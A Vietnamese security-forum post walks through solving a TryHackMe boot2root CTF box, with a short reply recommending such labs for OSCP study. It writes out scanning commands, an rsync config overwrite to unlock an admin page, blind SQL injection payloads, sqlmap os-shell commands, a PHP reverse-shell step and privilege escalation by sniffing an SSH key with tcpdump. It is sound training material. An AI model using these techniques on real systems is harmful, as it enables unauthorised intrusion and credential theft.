Thử tay nghề với CTF boot2root. Tại sao không?

Thảo luận trong 'Exploitation' bắt đầu bởi tuantran, 14/09/21, 05:09 PM.

  1. tuantran

    tuantran Moderator Thành viên BQT

    Tham gia: 27/04/17, 09:04 AM
    Bài viết: 35
    Đã được thích: 19
    Điểm thành tích:
    8
    Trong thời gian gần đây, dạng CTF boot2root ngày càng phổ biến. Khi lướt trên Tryhackme platform, mình có thấy một bài CTF cũng là dạng boot2root là 1 phần của Incognito 2.0 nên sẵn đây cũng là cơ hội cho các bạn hiểu thêm về dạng này và qua bài này thì có thêm cách thức để thực hiện pentest một box.

    Nếu như bạn muốn thử sức trước thì đây là link lab.

    Còn nếu như bạn stuck hoặc không biết bắt đầu như thế nào thì có thể đọc bài hướng dẫn giải của mình dưới đây nhé.

    Let’s start now!!!

    Sau khi bạn click start thì sẽ nhận được 1 IP sau 1 phút. IP của mình là 10.10.153.55.

    Với việc chỉ có 1 IP thì nghĩ ngay đến nmap nhé. Scan nào.

    Khai Thác Thông tin

    Chúng ta sẽ chạy để xem box đang có những dịch vụ nào.

    1.png

    Sau khi chạy thì chúng ta có các service đang chạy trên box như sau
    • Port 22: OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    • Port 80: Apache/2.4.29 (Ubuntu)
    • Port 139/445: Samba smb
    • Port 873: rsync (protocol version 21)
    Để có thể xác định được cách để lấy được shell trên box thì mình sẽ đi qua từng cổng xem có gì đặc biệt hay không.

    Port 22: OpenSSH.

    2.png

    Kiểm tra với searchsploit thì không có những lỗ hổng có thể giúp ta lấy shell mà chỉ tồn tại lỗ hổng cho phép chúng ta đoán username thôi.

    Port 80: Apache 2.4.29

    Đầu tiên để thu thập thông tin thì dùng niktogobuster.

    Nikto:

    Mã:
    nikto -h 10.10.153.55 -Format txt –output nikto 
    Gobuster với wordlist mình mong muốn. Ở đây mình dùng common và medium wordlists.

    Mã:
    gobuster dir --url http://10.10.153.55 --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
     
    gobuster dir --url http://10.10.153.55 --wordlist /usr/share/dirb/wordlists/common.txt 
    Trường hợp bạn chưa có gobuster thì có thể sài dirb thay thế hoặc bạn có thể cài trên kali theo kali page.

    gobuster chạy cũng khá lâu nên luôn có những tham số có thể giúp chúng ta chạy nhanh hơn như tăng thread.

    Trong quá trình chờ thì mình tiếp tục thu thập ở những port khác.

    Port 139/445: samba smb.

    Với Samba, dùng smbclient để thu thập thông tin. Kiểm tra xem có expose cái gì trong đó không?

    3.png

    Hoặc kiểm tra xem có lỗ hổng nào không

    Mã:
    nmap --script smb-vuln* -p139,445 -T4 -Pn 10.10.153.55 
    Hoặc tham khảo nhiều hơn ở đây.

    Samba cũng không có gì đặc biệt.

    Và đến port cuối cùng là rsync trước khi quay lại cổng 80.

    Port 873: Rsync

    Để kiểm tra version.

    4.png

    Ở đây có 2 share folders là Conf và All Confs. nhưng thử kết nối mà không có gì đặc biệt.

    5.png

    Thông qua việc search gg, chúng ta tìm thấy cách để list và download những file được share.

    https://www.netspi.com/blog/technic...ting/linux-hacking-case-studies-part-1-rsync/

    https://medium.com/@minimalist.ascent/enumerating-rsync-servers-with-examples-cc3718e8e2c0

    Trong config có rất nhiều file. Thử download về.

    6.png

    Kiểm tra xem có gì đặc biệt không?

    Webapp.ini

    7.png

    FootHold

    Ở đây có vẻ như web đang chạy ở môi trường product và có tài khoản của user.

    Ok !Bây giờ quay lại port 80 xem có gì đặc biệt.

    Khi load page lên browser thì là trang default của apache.
    8.png

    Từ gobuster và nikto trước đó chúng ta có đường dẫn. /admin. Khi vào thì trả về 403 nhưng mà view source thì có hint.

    9.png
    Bởi edit webapp và dùng rsync để upload lên.

    10.png
    Sync file.

    Mã:
    rsync webapp.ini 10.10.153.55::Conf/webapp.ini 
    Sau đó reload lại admin page.

    11.png


    Với credentials trước đó. Thì mình có thể đăng nhập vào.

    Khi kiểm tra người dùng tom thì hiện ra kết quả

    12.png

    Với vài payload kiểm tra thì ở đây là 1 dạng blind sql injection.Bạn có thể dùng 2 payload dưới để kiểm tra.

    Mã:
    Tom” and 1=2 -- /
    13.png

    Mã:
    Tom" and 1=1 --  /
    14.png

    Hoặc có thể dùng union để đoán kết quả.

    tom " union select 1,2,3 -- //

    15.png

    Chúng ta có thể dùng mysql để tạo shell:

    https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/MySQL Injection.md#mysql-write-a-shell

    Hoặc dùng burp và lưu request to file và chạy sqlmap để check.

    16.png

    Đúng như kết quả ở trên

    Mã:
    sqlmap -r req -p username --level=3 --risk=3 --random-agent 
    17.png

    Thử với os-shell nào.

    Mã:
    sqlmap -r req -p username --level=3 --risk=3 --random-agent –os-shell 
    18.png

    Cuối cùng cũng lấy được shell.

    Bây h mình sẽ có chuyển qua persistent-shell.

    Đầu tiên mình route all traffic qua burp.

    Mã:
    sqlmap -r req -p username --level=3 --risk=3 --random-agent –os-shell –proxy=’http://127.0.0.1:8080’ 
    Từ log burp chúng ta có thể thấy được là đã upload được shell..

    19.png

    Chuẩn bị 1 file php reverse shell từ pentestmonkey.

    Download và chỉnh sửa host và port. Sau đó upload lên box.

    Sau đó từ nc thì mình có thể lấy shell.

    20.png

    Ok vậy bước tiếp theo là mình cần leo quyền để đạt được root.

    Privilege Escalation.

    Thu thập rất nhiều thông tin từ manual nhưng không có cách nào để leo quyền nên mình quyết định dùng linpeas.

    Từ kết quả cho thấy,.

    21.png

    Người dùng hiện tại có thể chạy tcpdump.

    Dùng tcpdump để check.

    Mã:
    tcpdump -i lo -A -n > tcp.out 
    Sau khi chạy. Đọc file tcp.out. Ở đó có chứa ssh private key.

    22.png

    Bây h copy private key và thử login với ssh.

    23.png

    Oh yeah cuối cùng cũng leo quyền thành công.

    Nếu trong quá trình khai có vấn đề hoặc ý kiến nào thắc mắc thì bạn có thể đặt câu hỏi ở dưới nha.
    Chúc các bạn thành công.

    Happy hacking!!!
     
    Chỉnh sửa cuối: 14/09/21, 07:09 PM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  2. Marcus1337

    Marcus1337 Moderator Thành viên BQT

    Tham gia: 01/04/21, 10:04 AM
    Bài viết: 31
    Đã được thích: 31
    Điểm thành tích:
    18
    Bài viết rất hay. Bạn nào đang có ý định và tìm hiểu thi OSCP thì nên bắt đầu làm các lab dạng boot2root như thế này
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  1. WhiteHat Team
  2. tgnd
  3. DDos
  4. Ginny Hà
  5. tuantran